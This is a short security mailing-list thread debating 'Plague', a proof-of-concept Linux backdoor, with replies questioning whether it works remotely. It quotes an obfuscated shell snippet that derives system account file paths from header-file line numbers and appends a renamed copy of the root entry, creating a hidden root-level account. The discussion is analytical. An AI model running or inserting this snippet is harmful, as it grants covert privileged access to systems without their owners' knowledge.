Re: Plague Proof of Concept Linux backdoor

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On Sun, 22 Oct 2006 06:29:35 -0500 hijacker () oldum net wrote:
> even if they have ssh access, there is still nothing they can do,
> except
> to create two files in there $HOME directories containing
> expressions from
> paths.h and sysexits.h ?
>
> Why would that be considered a backdoor?
>
> Regards,
> -Nikolay Kichukov
>
>
> > On 10/22/06, J. Oquendo <sil () infiltrated net> wrote:
> > > Plague is an odd proof of concept backdoor keeping
> > > tool based on the premise of using existing system
> > > files and commands to keep and maintain a backdoor
> > > on Linux systems. I could have modified this for
> > > BSD, Solaris, etc., but I didn't feel like doing
> > > the work...
> > >
> > > http://www.infiltrated.net/plague
> >
> > (from the link)
> >
> > if [ -e /usr/include/paths.h ]
> >
> > then
> >
> >         file=`awk 'NR==59 {gsub(/"/,"");print $3}'
> /usr/include/paths.h`
> >         sed -n '1p' $file|sed 's/root/plaguePoC/g' >> $file
> >         file2=`awk 'NR==74 {print $8}' /usr/include/sysexits.h`
> >         sed -n '1p' $file2|sed 's/root/plaguePoC/g' >> $file2
> >
> > fi
> >
> > --------------------------------
> >
> > So this backdoor wouldnt work remotely, correct? You would need
> to add
> > the user to the people allowed to ssh in, and poke a hole for
> ssh in
> > the firewall./?
> >
> > -JP
> >
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You said "there" when it should be "their."
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